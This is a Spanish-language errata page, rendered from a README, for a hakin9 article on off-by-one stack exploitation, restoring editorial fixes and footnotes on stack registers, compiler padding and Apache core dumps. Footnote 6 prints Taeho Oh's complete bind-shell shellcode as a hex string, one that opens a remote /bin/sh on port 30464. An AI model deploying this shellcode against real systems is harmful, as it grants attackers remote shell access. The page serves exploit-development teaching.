README.md
Rendering markdown...
<html>
<head>
<title>Erratas del art�culo</title>
</head>
<style type="text/css">
li { margin: 1.0em 0 0 0.5em; padding: 0; }
</style>
<body>
<h3>Erratas del art�culo</h3>
Esto es un recopilatorio de erratas del art�culo "Explotaci�n en la pila: la t�cnica off-by-one" del n�mero de Enero de hakin9.
Todas estas erratas fueron introducidas en la edici�n del art�culo por parte de la editorial, el autor escribi� los textos siguientes
correctamente, y 2 meses antes que saliera el art�culo a la luz, advirti� a la editorial de los mismos, pero no todos fueron corregidos.
<ul>
<li>El listado 7 tiene el texto descentrado.
<img src="listado7.png">
<li>El listado 8 acaba en:
<pre>
execl("./prog", "prog", aux, 0);
}
</pre>
El <pre>Solo falta compilar ...</pre> hasta el final pertenece al texto del art�culo, va despu�s del primer p�rrafo de la columna central en la p�gina 27.
<li>Faltan algunas footnotes, que aunque no profundizan en el tema central del art�culo ayudan a un mejor aprendizaje, en concreto: 1, 2, 3, 5 y 6.
<ol>
<li>Vale la pena recordar que para la gesti�n de la pila hay dos registros de la CPU muy importantes:
El registro EBP, es el puntero de marco (frame pointer) y apunta a la doble palabra (32 bits) m�s baja del actual marco de pila.
El registro ESP, es el puntero de pila (stack pointer) y apunta al tope de la pila: la doble palabra m�s alta del actual marco de pila. Este registro marca la zona de la pila donde se han de apilar o desapilar los siguientes datos.
<li>El compilador introduce un relleno en el caso que el tama�o reservado para el buffer no sea m�ltiplo de 16 y sirve para favorecer un buen alineamiento en la memoria cach� y as� obtener un buen rendimiento del programa disminuyendo los fallos de cach�.
Por tanto, si reservamos un buffer de 128 o 256 bytes, el compilador no introducir� ning�n relleno. Si reservamos un buffer de 13 bytes, el compilador reservar� 3 m�s para tener 16 y que la cantidad sea m�ltiplo de 16. En el caso que reservemos 17, el compilador a�adir�a 15 bytes m�s para reservar 32...
<li>La instrucci�n leave es un procedimiento de alto nivel que ejecuta las instrucciones:<br>
<pre>movl %ebp, %esp
popl %ebp</pre>
<li value="5">Para que el Apache pueda hacer un coredump cuando reciba un fallo de segmentaci�n de alguno de sus hijos el usuario que corre apache debe poder escribir en el DocumentRoot o usar la directiva CoreDumpDirectory en el fichero de configuraci�n de apache: httpd.conf. En este caso se uso:
<pre>
CoreDumpDirectory /var/log/apache/cores
</pre>
y se establecieron los permisos adecuados para que el usuario www-data pudiera escribir en dicho directorio.
Una vez a�adido esto en la configuraci�n de apache, se debe parar el servidor web, ejecutar como root:
<pre>
$ ulimit -c unlimited
</pre>
e iniciar el servidor web.
<li value="6">El shellcode de Taeho Oh es el m�s usado cuando se trata de explotaci�n remota sobre Ix86, b�sicamente este shellcode hace un fork, el padre sale y el hijo crea un socket en el puerto 30464, duplica stdin, stdout y stderr para redirigirlos al descriptor de fichero del socket creado y ejecuta /bin/sh.
<pre>
char shellcode[]="\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
</pre>
</ol>
<li>En la p�gina 7 tras el primer p�rrafo ("Estudiemos la porci�n .... error.") convendr�a poner: "(Ver Listado 9.)."
<li>En la p�gina 9, en el pen�ltimo p�rrafo de la primera columna, el "Taeho Oh6" es solo "Taeho Oh" el 6 hace referencia al footnote 6.
<li>En este art�culo aprender�s...
<ul>
<li>Otra t�cnica de explotaci�n en la pila y como evitarla.
<li>Como desarrollar un exploit a partir de una vulnerabilidad.
</ul>
<li>Lo que deber�as saber...
<ul>
<li>Desbordamientos de pila.
<li>Ensamblador para IA32.
</ul>
<li>Figura 3: Estado de la pila en la instrucci�n: call <func>
<li>Figura 5: Reserva de memoria para las variables locales.
<li>Figura 7: Instrucci�n leave (segunda parte): Al desapilar el registro EBP sobreescrito tenemos el control sobre el puntero a marco.
</ul>
</body>
</html>